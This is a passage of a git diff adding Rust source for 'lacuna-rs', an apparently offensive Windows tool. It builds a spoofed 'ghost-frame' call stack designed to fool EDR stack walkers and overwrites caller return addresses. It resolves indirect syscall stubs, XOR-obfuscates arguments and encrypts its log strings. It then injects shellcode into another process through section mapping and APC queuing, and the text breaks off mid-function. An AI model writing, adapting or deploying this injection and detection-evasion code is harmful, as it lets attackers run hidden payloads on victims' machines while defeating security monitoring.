────────────────────────────────────────────────────────────── + +/// Build the LACUNA ghost-frame chain. +/// +/// Ported from build_chain(). Returns true on success. +pub fn build_chain() -> bool { + let ntdll = get_module(b"ntdll.dll\0"); + let kbase = get_module(b"kernelbase.dll\0"); + let wow64 = get_module(b"wow64.dll\0"); + let win32u = get_module(b"win32u.dll\0"); + + let nt_t: &[&[u8]] = &[ + b"RtlCreateUserThread\0", + b"NtAllocateVirtualMemory\0", + b"LdrLoadDll\0", + b"NtCreateThreadEx\0", + b"RtlUserThreadStart\0", + ]; + let kb_t: &[&[u8]] = &[ + b"VirtualProtect\0", + b"VirtualAllocEx\0", + b"WriteProcessMemory\0", + b"CreateRemoteThreadEx\0", + ]; + let w64_t: &[&[u8]] = &[ + b"Wow64PrepareForException\0", + b"Wow64KiUserCallbackDispatcher\0", + b"Wow64ApcRoutine\0", + ]; + + let mut ng = [Ghost { + va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64], + }; 512]; + let mut kg = [Ghost { + va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64], + }; 512]; + let mut wg = [Ghost { + va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64], + }; 64]; + + let n_ng = scan::scan_ghosts(ntdll, nt_t, &mut ng); + let n_kg = scan::scan_ghosts(kbase, kb_t, &mut kg); + let n_wg = if !wow64.is_null() { + scan::scan_ghosts(wow64, w64_t, &mut wg) + } else { + 0 + }; + + // Ghost gadget (JMP [RBX]) — prefer ntdll, then kernelbase. + let mut g_ghost_gadget: ULONG64 = 0; + let mut g_ghost_mod: u8 = 0; + let mut gg = [GhostGadget { va: 0, parent: [0; 64] }; 8]; + let ngg = scan::scan_ghost_gadgets(&ng[..n_ng], b"ntdll\0", &mut gg); + if ngg > 0 { + g_ghost_gadget = gg[0].va; + g_ghost_mod = 1; + } else { + let ngg2 = scan::scan_ghost_gadgets(&kg[..n_kg], b"kernelbase\0", &mut gg); + if ngg2 > 0 { + g_ghost_gadget = gg[0].va; + g_ghost_mod = 2; + } + } + if g_ghost_gadget != 0 { + stub::G_GHOST_GADGET.store(g_ghost_gadget, Ordering::Relaxed); + stub::G_GHOST_MOD.store(g_ghost_mod, Ordering::Relaxed); + } + + // L1 — wow64 ghost (fallback: nearest ntdll ghost). + let mut g1 = scan::best_ghost(&wg[..n_wg], b"Wow64PrepareForException"); + if g1.is_none() { + g1 = scan::best_ghost(&wg[..n_wg], b"Wow64KiUserCallbackDispatcher"); + } + let l1 = if let Some(g) = g1 { + g.va_start + g.size as ULONG64 / 2 + } else { + let g3pre = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread") + .or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory")); + let mut bf: Option<&Ghost> = None; + let mut bd = 0xFFFF_FFFFu32; + for k in 0..n_ng { + if let Some(pre) = g3pre { + if core::ptr::eq(&ng[k], pre) { + continue; + } + } + if ng[k].dist < bd { + bd = ng[k].dist; + bf = Some(&ng[k]); + } + } + let bf = bf.or(g3pre); + bf.map(|g| g.va_start + g.size as ULONG64 / 2) + .unwrap_or(ntdll as ULONG64 + 0x50F80) + }; + + // L2 — kernelbase ghost. + let g2 = scan::best_ghost(&kg[..n_kg], b"VirtualProtect") + .or_else(|| scan::best_ghost(&kg[..n_kg], b"VirtualAllocEx")); + let l2 = if g_ghost_mod == 2 { + g_ghost_gadget + } else { + g2.map(|g| g.va_start + g.size as ULONG64 / 2) + .unwrap_or(kbase as ULONG64 + 0x64180) + }; + + // L3 — ntdll ghost. + let g3 = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread") + .or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory")); + let l3 = if g_ghost_mod == 1 { + g_ghost_gadget + } else { + g3.map(|g| g.va_start + g.size as ULONG64 / 2) + .unwrap_or(ntdll as ULONG64 + 0x50F80) + }; + + // L4 — win32u nop gap. + let l4 = if !win32u.is_null() { + scan::win32u_nop_gap(win32u) + } else { + ng[0].va_start + 4 + }; + + // L5 — RtlUserThreadStart+0x21. + let l5 = pe::export_va(ntdll, b"RtlUserThreadStart\0") + 0x21; + + // L0 — BYOUD-MF anchor. + let l0 = scan::find_mf_target(ntdll); + + // Allocate the LacunaStack + MF-walk buffer. + let total = core::mem::size_of::() + 0x100; + let m = unsafe { + VirtualAlloc( + core::ptr::null_mut(), + total, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ) + }; + if m.is_null() { + return false; + } + let ls = m as *mut LacunaStack; + let mf_walk = unsafe { (ls as *mut u8).add(core::mem::size_of::()) } as *mut ULONG64; + + unsafe { + // MF walk buffer: L2→L3→L4→L5 in ascending-address order. + *mf_walk.add(0) = l2; + *mf_walk.add(1) = l3; + *mf_walk.add(2) = l4; + *mf_walk.add(3) = l5; + + (*ls).L5_thread_root = l5; + (*ls).L4_win32u = l4; + (*ls).L3_ntdll = l3; + (*ls).L2_kbase = l2; + (*ls).L1_wow64 = l1; + (*ls).mf.Rip = l1; + (*ls).mf.Cs = 0x0033; + (*ls).mf.EFlags = 0x0000_0202; + (*ls).mf.Rsp = mf_walk as ULONG64; + (*ls).mf.Ss = 0x002B; + (*ls).mf_trigger = l0; + } + + G_LS.store(ls as ULONG64, Ordering::Relaxed); + G_CHAIN_RSP.store(unsafe { &(*ls).mf as *const _ as ULONG64 }, Ordering::Relaxed); + G_MF_WALK.store(mf_walk as ULONG64, Ordering::Relaxed); + true +} + +// ── stomp_plant / stomp_restore ────────────────────────────────────────────── + +pub const STOMP_DEPTH: usize = 4; + +/// Write L1–L4 into the return-address slot of the caller and the three +/// dead shadow words above it. +/// +/// Ported from stomp_plant(). This must be `#[inline(never)]` so the + +/// # Warning: Frame-Pointer Requirement +/// +/// This function uses `mov rbp, {x}` inline asm to locate the caller's +/// frame. It **requires** the consuming crate to be compiled with +/// `-C force-frame-pointers=yes`. Without it, RBP will not point to a +/// valid frame and this function will silently no-op or corrupt the stack. +/// +/// Add to your `.cargo/config.toml`: +/// ``toml +/// [build] +/// rustflags = [`-C`, `force-frame-pointers=yes`] +/// `` +/// frame-pointer walk lands on the intended caller. +#[inline(never)] +pub fn stomp_plant() { + let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack; + if ls.is_null() { + return; + } + let layers: [ULONG64; STOMP_DEPTH] = unsafe { + [ + (*ls).L1_wow64, + (*ls).L2_kbase, + (*ls).L3_ntdll, + (*ls).L4_win32u, + ] + }; + + let stack_base = teb_stack_base(); + let stack_limit = teb_stack_limit(); + + // `__builtin_frame_address(1)` — get the caller's frame. + let frame: *mut ULONG64 = unsafe { + let mut fp: *mut ULONG64; + core::arch::asm!( + "mov {0}, [rbp]", + out(reg) fp, + options(nostack, preserves_flags), + ); + fp + }; + + if frame.is_null() + || (frame as ULONG64) < stack_limit + || (frame as ULONG64) >= stack_base + { + return; + } + + unsafe { + for d in 0..STOMP_DEPTH { + let slot = frame.add(1 + d); + crate::veh::G_STOMP_PTRS[d].store(slot as ULONG64, Ordering::Relaxed); + crate::veh::G_STOMP_SLOTS[d].store(*slot, Ordering::Relaxed); + *slot = layers[d]; + } + crate::veh::G_STOMP_SAVED.store(*frame.add(1), Ordering::Relaxed); + } +} + +/// Restore the stomped stack slots. +/// +/// Ported from stomp_restore(). +pub fn stomp_restore() { + for d in 0..STOMP_DEPTH { + let ptr = crate::veh::G_STOMP_PTRS[d].load(Ordering::Relaxed); + if ptr != 0 { + let val = crate::veh::G_STOMP_SLOTS[d].load(Ordering::Relaxed); + unsafe { + *(ptr as *mut ULONG64) = val; + } + } + } +} + +// ── lacuna_walk_chain (verify) ─────────────────────────────────────────────── + +/// Walk the chain the same way an EDR stack collector would, using +/// RtlLookupFunctionEntry + RtlVirtualUnwind. +/// +/// Ported from lacuna_walk_chain(). Prints the full stack-frame trace +/// (each frame's RIP, whether it has a RUNTIME_FUNCTION, and its layer +/// label), then runs a second BYOUD-MF pass from mf_trigger. +/// +/// Returns true if all 5 layers were seen in the primary walk. +#[allow(unused_unsafe)] +pub fn walk_chain() -> bool { + let ntdll = get_module(b"ntdll.dll\0"); + let lookup_fe_ptr = get_proc(ntdll, b"RtlLookupFunctionEntry\0"); + let vu_ptr = get_proc(ntdll, b"RtlVirtualUnwind\0"); + if lookup_fe_ptr.is_none() || vu_ptr.is_none() { + eprintln!("{}", lc!("[-] can't resolve unwind apis")); + return false; + } + let lookup_fe: PRtlLookupFunctionEntry = + unsafe { core::mem::transmute(lookup_fe_ptr.unwrap()) }; + let vu: PRtlVirtualUnwind = + unsafe { core::mem::transmute(vu_ptr.unwrap()) }; + + let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack; + if ls.is_null() { + return false; + } + + let l1 = unsafe { (*ls).L1_wow64 }; + let l2 = unsafe { (*ls).L2_kbase }; + let l3 = unsafe { (*ls).L3_ntdll }; + let l4 = unsafe { (*ls).L4_win32u }; + let l5 = unsafe { (*ls).L5_thread_root }; + + // ── Primary walk: L1 → L2 → L3 → L4 → L5 ────────────────────────── + // + // Chain buffer: L2→L3→L4→L5 in ascending-address order so the + // leaf RSP+=8 walk reads the correct next return address. + + let chain: [ULONG64; 4] = [l2, l3, l4, l5]; + + let mut ctx: CONTEXT = unsafe { core::mem::zeroed() }; + ctx.ContextFlags = CONTEXT_FULL; + unsafe { + ctx.Rip = l1; + ctx.Rsp = &chain as *const _ as ULONG64; + } + + let lnames: [&str; 5] = [ + "L1 wow64 ghost (Wow64PrepareForException)", + "L2 kbase ghost (VirtualProtect)", + "L3 ntdll ghost (RtlCreateUserThread)", + "L4 win32u nop gap", + "L5 RtlUserThreadStart+0x21", + ]; + + println!("[*] walking chain (same path as EDR stack collector)\n"); + + let mut seen = [false; 5]; + let mut hits = 0; + + for i in 0..20 { + if ctx.Rip == 0 { + break; + } + let mut imgbase: DWORD64 = 0; + let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() }; + let rf = unsafe { lookup_fe(ctx.Rip, &mut imgbase, &mut hist) }; + + let (lbl, li): (&str, Option) = if ctx.Rip == l1 { + (lnames[0], Some(0)) + } else if ctx.Rip == l2 { + (lnames[1], Some(1)) + } else if ctx.Rip == l3 { + (lnames[2], Some(2)) + } else if ctx.Rip == l4 { + (lnames[3], Some(3)) + } else if ctx.Rip == l5 { + (lnames[4], Some(4)) + } else { + ("", None) + }; + if let Some(idx) = li { + if !seen[idx] { + seen[idx] = true; + hits += 1; + } + } + + println!( + " [{:2}] {:016x} {:<8} {}", + i, + ctx.Rip, + if rf.is_null() { "ghost" } else { "rf" }, + lbl + ); + + if hits == 5 { + println!(" (thread root — stopping)"); + break; + } + + if rf.is_null() { + // Leaf frame: no RUNTIME_FUNCTION — unwinder does RSP += 8. + unsafe { + ctx.Rip = *(ctx.Rsp as *const ULONG64); + ctx.Rsp += 8; + } + } else { + // Has RUNTIME_FUNCTION — use RtlVirtualUnwind. + let mut hd: PVOID = core::ptr::null_mut(); + let mut ef: DWORD64 = 0; + unsafe { + vu( + 0, + imgbase, + ctx.Rip, + rf, + &mut ctx, + &mut hd, + &mut ef, + core::ptr::null_mut(), + ); + } + } + } + + println!(); + for i in 0..5 { + println!(" {} {}", if seen[i] { "[+]" } else { "[ ]" }, lnames[i]); + } + + let ok = seen.iter().all(|&s| s); + println!( + "\n{} all layers {}", + if ok { "[+]" } else { "[!]" }, + if ok { + "ghost — chain is clean" + } else { + "PARTIAL — check addresses above" + } + ); + + // ── BYOUD-MF pass: walk from mf_trigger through the machine frame ─ + // + // The unwinder hits KiUserExceptionDispatcher's UWOP_PUSH_MACHFRAME, + // reads Rip=L1 and Rsp=&g_mf_walk[0], then continues L1→L2→L3→L4→L5. + + let mf_trigger = unsafe { (*ls).mf_trigger }; + println!( + "\n[*] BYOUD-MF pass: starting from mf_trigger (L0={:016x})\n", + mf_trigger + ); + + let mut mf_ctx: CONTEXT = unsafe { core::mem::zeroed() }; + mf_ctx.ContextFlags = CONTEXT_FULL; + unsafe { + mf_ctx.Rip = mf_trigger; + mf_ctx.Rsp = &(*ls).mf as *const _ as ULONG64; + } + + let mf_names: [&str; 6] = [ + "L0 MF anchor (KiUserExceptionDispatcher)", + "L1 wow64 ghost", + "L2 kbase ghost", + "L3 ntdll ghost", + "L4 win32u nop gap", + "L5 RtlUserThreadStart+0x21", + ]; + + let mut mf_seen = [false; 6]; + let mut mf_hits = 0; + + for i in 0..20 { + if mf_ctx.Rip == 0 { + break; + } + let mut imgbase: DWORD64 = 0; + let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() }; + let rf = unsafe { lookup_fe(mf_ctx.Rip, &mut imgbase, &mut hist) }; + + let li: Option = if mf_ctx.Rip == mf_trigger { + Some(0) + } else if mf_ctx.Rip == l1 { + Some(1) + } else if mf_ctx.Rip == l2 { + Some(2) + } else if mf_ctx.Rip == l3 { + Some(3) + } else if mf_ctx.Rip == l4 { + Some(4) + } else if mf_ctx.Rip == l5 { + Some(5) + } else { + None + }; + if let Some(idx) = li { + if !mf_seen[idx] { + mf_seen[idx] = true; + mf_hits += 1; + } + } + + let lbl = if let Some(idx) = li { mf_names[idx] } else { "" }; + println!( + " [{:2}] {:016x} {:<8} {}", + i, + mf_ctx.Rip, + if rf.is_null() { "ghost" } else { "rf/MF" }, + lbl + ); + + if mf_hits == 6 { + println!(" (thread root — stopping)"); + break; + } + + if rf.is_null() { + unsafe { + mf_ctx.Rip = *(mf_ctx.Rsp as *const ULONG64); + mf_ctx.Rsp += 8; + } + } else { + let mut hd: PVOID = core::ptr::null_mut(); + let mut ef: DWORD64 = 0; + unsafe { + vu( + 0, + imgbase, + mf_ctx.Rip, + rf, + &mut mf_ctx, + &mut hd, + &mut ef, + core::ptr::null_mut(), + ); + } + } + } + + println!(); + for i in 0..6 { + println!(" {} {}", if mf_seen[i] { "[+]" } else { "[ ]" }, mf_names[i]); + } + + let mf_ok = mf_seen[0] && mf_seen[1] && mf_seen[2]; + println!( + "\n{} BYOUD-MF teleport {}", + if mf_ok { "[+]" } else { "[!]" }, + if mf_ok { + "worked — RSP jumped through machine frame" + } else { + "partial — MF may need version-specific offsets" + } + ); + + ok +} diff --git a/src/inject.rs b/src/inject.rs new file mode 100644 index 0000000..7cba188 --- /dev/null +++ b/src/inject.rs @@ -0,0 +1,576 @@ +// +// inject.rs — Section-based APC injection for lacuna-rs +// +// Ported from lacuna_chain.c: do_inject_sapc(). +// +// Thread selection algorithm ported from main.c: FindActiveApcThreads(). +// +// All diagnostic output wrapped in litcrypt lc!() calls. +// + +#![cfg(feature = "inject")] +#![allow(dead_code)] +#![allow(unused_imports)] +#![allow(unused_unsafe)] +#![allow(unused_variables)] + +use crate::nt; +use crate::pe; +use crate::stub; +use crate::win::{ + self, HANDLE, HMODULE, NTSTATUS, ULONG64, PVOID, SIZE_T, + LARGE_INTEGER, + OBJECT_ATTRIBUTES, CID, CLIENT_ID, + PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, + SEC_COMMIT, SECTION_ALL_ACCESS, ViewUnmap, + PROCESS_VM_OPERATION, PROCESS_QUERY_INFORMATION, + THREAD_SET_CONTEXT, THREAD_ALERT, THREAD_QUERY_INFORMATION, + TH32CS_SNAPTHREAD, INVALID_HANDLE_VALUE, + PNtOpenProcess, PNtCreateSection, PNtMapViewOfSection, + PNtUnmapViewOfSection, PNtOpenThread, PNtQueueApcThread, + PNtAlertThread, PNtClose, PNtQueryInformationThread, + nt_ok, get_module, + CreateToolhelp32Snapshot, Thread32First, Thread32Next, + CloseHandle, OpenThread, THREADENTRY32, + NtDelayExecution, + KERNEL_USER_TIMES, THREAD_CYCLE_TIME_INFORMATION, THREAD_BASIC_INFORMATION, + ThreadBasicInformation, ThreadTimes, ThreadCycleTime, ThreadSuspendCount, +}; +use core::ptr; +use core::sync::atomic::Ordering; + +extern crate alloc; +use alloc::vec::Vec; + +use lc; + +/// Maximum number of top-scoring threads to queue APCs to. +pub const MAX_APC_THREADS: usize = 5; + +pub struct Syscalls { + pub open_proc: stub::Stub, + pub mk_sec: stub::Stub, + pub map_view: stub::Stub, + pub unmap_view: stub::Stub, + pub open_thr: stub::Stub, + pub queue_apc: stub::Stub, + pub alert_thr: stub::Stub, + pub nt_close: stub::Stub, + pub prot_vm: stub::Stub, + pub srs: [ULONG64; 9], +} + +impl Syscalls { + pub fn resolve(ntdll: HMODULE) -> Option { + const NAMES: &[&[u8]] = &[ + b"NtOpenProcess\0", + b"NtCreateSection\0", + b"NtMapViewOfSection\0", + b"NtUnmapViewOfSection\0", + b"NtOpenThread\0", + b"NtQueueApcThread\0", + b"NtAlertThread\0", + b"NtClose\0", + b"NtProtectVirtualMemory\0", + ]; + + let mut srs = [0u64; 9]; + let mut stubs: Vec> = Vec::with_capacity(9); + for i in 0..9 { + let (ssn, sr) = nt::resolve(ntdll, NAMES[i]); + srs[i] = sr; + stubs.push(stub::make_stub(ssn, sr)); + } + + for i in 0..9 { + let ssn = nt::resolve_ssn(ntdll, NAMES[i]); + let sr = srs[i]; + let sr_off = if sr != 0 { sr - ntdll as ULONG64 } else { 0 }; + let name = trim_cstr(NAMES[i]); + eprintln!( + "{}{:24} ssn={:02x} {}{:x}", + lc!("[*] "), + core::str::from_utf8(name).unwrap_or("?"), + ssn, + lc!("syscall;ret=ntdll+"), + sr_off, + ); + } + + Some(Syscalls { + open_proc: stubs[0].take()?, + mk_sec: stubs[1].take()?, + map_view: stubs[2].take()?, + unmap_view: stubs[3].take()?, + open_thr: stubs[4].take()?, + queue_apc: stubs[5].take()?, + alert_thr: stubs[6].take()?, + nt_close: stubs[7].take()?, + prot_vm: stubs[8].take()?, + srs, + }) + } +} + +fn trim_cstr(s: &[u8]) -> &[u8] { + let n = s.iter().position(|&b| b == 0).unwrap_or(s.len()); + &s[..n] +} + +pub const PKEY: u64 = 0xCAFE_1337; + +#[inline] +fn ep(p: *mut ()) -> *mut () { + #[cfg(feature = "veh")] + { (p as usize ^ PKEY as usize) as *mut () } + #[cfg(not(feature = "veh"))] + { p } +} + +#[inline] +fn ep_u32(v: u32) -> u32 { + #[cfg(feature = "veh")] + { v ^ PKEY as u32 } + #[cfg(not(feature = "veh"))] + { v } +} + +#[inline] +fn ep_handle(h: HANDLE) -> HANDLE { + #[cfg(feature = "veh")] + { (h as usize ^ PKEY as usize) as HANDLE } + #[cfg(not(feature = "veh"))] + { h } +} + +#[inline] +fn ep_usize(v: usize) -> usize { + #[cfg(feature = "veh")] + { v ^ PKEY as usize } + #[cfg(not(feature = "veh"))] + { v } +} + +// ── Thread scoring algorithm (ported from main.c: FindActiveApcThreads) ─────── + +/// A thread candidate with its activity score. +struct ThreadCandidate { + tid: u32, + score: i64, + cycles: u64, + cpu_time: u64, + priority: i32, + suspend_count: u32, +} + +/// Resolve NtQueryInformationThread from ntdll at runtime. +fn resolve_nt_query_info_thread(ntdll: HMODULE) -> Option { + let p = win::get_proc(ntdll, b"NtQueryInformationThread\0")?; + unsafe { Some(core::mem::transmute(p)) } +} + +/// Query thread suspend count via NtQueryInformationThread. +fn query_suspend_count(nqit: PNtQueryInformationThread, h: HANDLE) -> u32 { + let mut sc: u32 = 999; + let status = unsafe { + nqit(h, ThreadSuspendCount, &mut sc as *mut _ as PVOID, + core::mem::size_of::() as u32, ptr::null_mut()) + }; + if nt_ok(status) { sc } else { 999 } +} + +/// Query thread kernel+user time via NtQueryInformationThread. +fn query_cpu_time(nqit: PNtQueryInformationThread, h: HANDLE) -> u64 { + let mut times: KERNEL_USER_TIMES = unsafe { core::mem::zeroed() }; + let status = unsafe { + nqit(h, ThreadTimes, &mut times as *mut _ as PVOID, + core::mem::size_of::() as u32, ptr::null_mut()) + }; + if nt_ok(status) { times.UserTime + times.KernelTime } else { 0 } +} + +/// Query thread cycle time via NtQueryInformationThread. +fn query_cycles(nqit: PNtQueryInformationThread, h: HANDLE) -> u64 { + let mut ci: THREAD_CYCLE_TIME_INFORMATION = unsafe { core::mem::zeroed() }; + let status = unsafe { + nqit(h, ThreadCycleTime, &mut ci as *mut _ as PVOID, + core::mem::size_of::() as u32, ptr::null_mut()) + }; + if nt_ok(status) { ci.AccumulatedCycles } else { 0 } +} + +/// Query thread priority via NtQueryInformationThread. +fn query_priority(nqit: PNtQueryInformationThread, h: HANDLE) -> i32 { + let mut bi: THREAD_BASIC_INFORMATION = unsafe { core::mem::zeroed() }; + let status = unsafe { + nqit(h, ThreadBasicInformation, &mut bi as *mut _ as PVOID, + core::mem::size_of::() as u32, ptr::null_mut()) + }; + if nt_ok(status) { bi.Priority } else { 9 } +} + +/// Score a thread based on activity, suspend state, and priority. +fn score_thread(cycles: u64, cpu_time: u64, suspend_count: u32, priority: i32) -> i64 { + let mut score: i64 = 0; + // Activity (primary factor) + score += (cycles as i64) / 1_000_000; + score += (cpu_time as i64) / 100_000; + // Bonuses for active threads + if suspend_count == 0 { score += 300; } + if priority >= 8 && priority <= 10 { score += 150; } + if cycles > 5_000_000 { score += 100; } + // Penalties for problematic threads + if suspend_count > 0 { score -= 150 * suspend_count as i64; } + if priority < 1 || priority > 15 { score -= 100; } + score +} + +/// Scan all threads in a process, score them, and return the top-N candidates. +/// +/// Ported from main.c: FindActiveApcThreads(). +fn find_active_apc_threads(pid: u32, max_candidates: usize, ntdll: HMODULE) -> Vec { + let nqit = match resolve_nt_query_info_thread(ntdll) { + Some(f) => f, + None => { + eprintln!("{}", lc!("[-] NtQueryInformationThread not found")); + return Vec::new(); + } + }; + + let snap = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; + if snap == INVALID_HANDLE_VALUE { + eprintln!("{}", lc!("[-] thread snapshot failed")); + return Vec::new(); + } + + let mut te = THREADENTRY32 { + dwSize: core::mem::size_of::() as u32, + cntUsage: 0, th32ThreadID: 0, th32OwnerProcessID: 0, + tpBasePri: 0, tpDeltaPri: 0, dwFlags: 0, + }; + + let mut candidates: Vec = Vec::new(); + + let mut ok = unsafe { Thread32First(snap, &mut te) } != 0; + while ok { + if te.th32OwnerProcessID == pid { + let tid = te.th32ThreadID; + let h = unsafe { + OpenThread( + THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT, + 0, + tid, + ) + }; + if !h.is_null() { + let sc = query_suspend_count(nqit, h); + let cpu_time = query_cpu_time(nqit, h); + let cycles = query_cycles(nqit, h); + + // Skip completely idle threads + if cycles == 0 && cpu_time == 0 { + unsafe { CloseHandle(h) }; + ok = unsafe { Thread32Next(snap, &mut te) } != 0; + continue; + } + + let priority = query_priority(nqit, h); + let score = score_thread(cycles, cpu_time, sc, priority); + + candidates.push(ThreadCandidate { + tid, score, cycles, cpu_time, priority, suspend_count: sc, + }); + + unsafe { CloseHandle(h) }; + } + } + ok = unsafe { Thread32Next(snap, &mut te) } != 0; + } + unsafe { CloseHandle(snap) }; + + // Sort: highest score first, tie-break on highest cycles + candidates.sort_by(|a, b| { + if a.score != b.score { + b.score.cmp(&a.score) + } else { + b.cycles.cmp(&a.cycles) + } + }); + + // Truncate to max_candidates + candidates.truncate(max_candidates); + + for (i, c) in candidates.iter().enumerate() { + eprintln!( + "{}{}: {} {} ({} {}, {} {}, {} {}, {} {}, {} {})", + lc!("[+] Candidate "), i + 1, + lc!("TID "), c.tid, + lc!("Score: "), c.score, + lc!("Cycles: "), c.cycles, + lc!("CPU: "), c.cpu_time, + lc!("Pri: "), c.priority, + lc!("Suspend: "), c.suspend_count, + ); + } + + candidates +} + +// ── Main injection function ─────────────────────────────────────────────────── + +/// Inject shellcode via section-based APC. +/// +/// Set `verbose = true` to enable VEH diagnostic output. +pub fn inject_sapc(pid: u32, shellcode: &[u8]) -> Result<(), NTSTATUS> { + inject_sapc_verbose(pid, shellcode, false) +} + +/// Inject shellcode via section-based APC with verbose flag. +pub fn inject_sapc_verbose(pid: u32, shellcode: &[u8], verbose: bool) -> Result<(), NTSTATUS> { + let ntdll = get_module(b"ntdll.dll\0"); + let ntdll_base = ntdll as ULONG64; + + #[cfg(feature = "veh")] + { + crate::veh::set_verbose(verbose); + let self_mod = unsafe { win::GetModuleHandleA(core::ptr::null()) }; + if !self_mod.is_null() { + let base = self_mod as ULONG64; + let end = base + pe::size_of_image(self_mod); + crate::veh::G_EXE_BASE.store(base, Ordering::Relaxed); + crate::veh::G_EXE_END.store(end, Ordering::Relaxed); + if verbose { + eprintln!("{}{:016x}-{:016x}", lc!("[*] exe range for stack spoof: "), base, end); + } + } + } + + let sc = Syscalls::resolve(ntdll).ok_or(0xC000_0001u32 as i32)?; + + let ret_gadget = if sc.srs[7] != 0 { sc.srs[7] + 2 } else { 0 }; + #[cfg(feature = "veh")] + { + crate::veh::G_RET_GADGET.store(ret_gadget, Ordering::Relaxed); + if ret_gadget != 0 && verbose { + eprintln!("{}{:x}", lc!("[*] ret gadget for stack spoof: ntdll+"), ret_gadget - ntdll_base); + } + } + + #[cfg(feature = "veh")] + let _pcrypt_guard = crate::veh::PcryptVehGuard::register(); + + // -- NtOpenProcess -- + let mut h_proc: HANDLE = ptr::null_mut(); + let mut oa = OBJECT_ATTRIBUTES::default(); + let cid = CID { UniqueProcess: pid as HANDLE, UniqueThread: ptr::null_mut() }; + + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(PKEY, sc.srs[0], true); + + eprintln!("{}", lc!("[*] calling NtOpenProcess...")); + + let open_proc: PNtOpenProcess = unsafe { core::mem::transmute(sc.open_proc.as_fn()) }; + let status = unsafe { + open_proc( + ep(&mut h_proc as *mut _ as *mut _) as win::PHANDLE, + ep_u32(PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION), + ep(&mut oa as *mut _ as *mut _) as *mut OBJECT_ATTRIBUTES, + ep(&cid as *const _ as *mut _) as *mut CLIENT_ID, + ) + }; + if !nt_ok(status) { + eprintln!("{}{:08x}", lc!("[-] NtOpenProcess: "), status); + return Err(status); + } + eprintln!("{}{:p}{}{}", lc!("[+] proc "), h_proc, lc!(" pid "), pid); + + #[cfg(feature = "veh")] + let _chain_guard = crate::veh::ChainVehGuard::register(); + + // -- stomp_plant -- + #[cfg(feature = "stack-spoof")] + { + #[cfg(feature = "veh")] + crate::veh::pcrypt_disarm(); + + eprintln!("{}", lc!("[*] calling stomp_plant...")); + crate::chain::stomp_plant(); + eprintln!("{}", lc!("[*] stomp_plant done")); + } + + // -- NtCreateSection -- + let mut h_sec: HANDLE = ptr::null_mut(); + let mut sec_sz: LARGE_INTEGER = shellcode.len() as i64; + + #[cfg(feature = "veh")] + { + if verbose { + eprintln!("{}{:x}", lc!("[*] arming pcrypt for NtCreateSection (srs[1]="), sc.srs[1]); + } + crate::veh::pcrypt_arm(PKEY, sc.srs[1], true); + } + + eprintln!("{}", lc!("[*] calling NtCreateSection...")); + + let mk_sec: PNtCreateSection = unsafe { core::mem::transmute(sc.mk_sec.as_fn()) }; + let status = unsafe { + mk_sec( + ep(&mut h_sec as *mut _ as *mut _) as win::PHANDLE, + ep_u32(SECTION_ALL_ACCESS), + ep(ptr::null_mut()) as *mut OBJECT_ATTRIBUTES, + ep(&mut sec_sz as *mut _ as *mut _) as *mut LARGE_INTEGER, + PAGE_EXECUTE_READWRITE, SEC_COMMIT, ptr::null_mut(), + ) + }; + if !nt_ok(status) { + eprintln!("{}{:08x}", lc!("[-] NtCreateSection: "), status); + unsafe { close_handle(&sc, h_proc) }; + return Err(status); + } + eprintln!("{}{:p}", lc!("[+] section "), h_sec); + + // -- NtMapViewOfSection (local, RW) -- + let mut local_base: PVOID = ptr::null_mut(); + let mut local_sz: SIZE_T = 0; + let map_view: PNtMapViewOfSection = unsafe { core::mem::transmute(sc.map_view.as_fn()) }; + + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(0, sc.srs[2], false); + + let status = unsafe { + map_view(h_sec, win::CURRENT_PROCESS, &mut local_base, 0, shellcode.len(), + ptr::null_mut(), &mut local_sz, ViewUnmap, 0, PAGE_READWRITE) + }; + if !nt_ok(status) { + eprintln!("{}{:08x}", lc!("[-] NtMapViewOfSection(local): "), status); + unsafe { close_handle(&sc, h_sec) }; + unsafe { close_handle(&sc, h_proc) }; + return Err(status); + } + eprintln!("{}{:p}", lc!("[+] local rw "), local_base); + + // Write shellcode (double-XOR) + unsafe { + let dst = local_base as *mut u8; + for i in 0..shellcode.len() { *dst.add(i) = shellcode[i] ^ 0x5A; } + for i in 0..shellcode.len() { *dst.add(i) ^= 0x5A; } + } + eprintln!("{}{}{}", lc!("[+] shellcode written ("), shellcode.len(), lc!(" bytes)")); + + // -- NtMapViewOfSection (remote, RX) -- + let mut remote_base: PVOID = ptr::null_mut(); + let mut remote_sz: SIZE_T = 0; + + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(PKEY, sc.srs[2], false); + + let status = unsafe { + map_view( + ep_handle(h_sec), ep_handle(h_proc), + ep(&mut remote_base as *mut _ as *mut _) as *mut PVOID, + ep_usize(0), shellcode.len(), ptr::null_mut(), &mut remote_sz, + ViewUnmap, 0, PAGE_EXECUTE_READ, + ) + }; + if !nt_ok(status) { + eprintln!("{}{:08x}", lc!("[-] NtMapViewOfSection(remote): "), status); + unsafe { close_handle(&sc, h_sec) }; + unsafe { close_handle(&sc, h_proc) }; + return Err(status); + } + eprintln!("{}{:p}", lc!("[+] remote rx "), remote_base); + + // -- Unmap local + close section -- + let unmap_view: PNtUnmapViewOfSection = unsafe { core::mem::transmute(sc.unmap_view.as_fn()) }; + + #[cfg(feature = "veh")] + crate::veh::pcrypt_arm(0, sc.srs[3], true); + + eprintln!("{}{:p}", lc!("[*] unmapping local view (base="), local_base); + let unmap_status = unsafe { unmap_view(win::CURRENT_PROCESS, local_base) }; + if 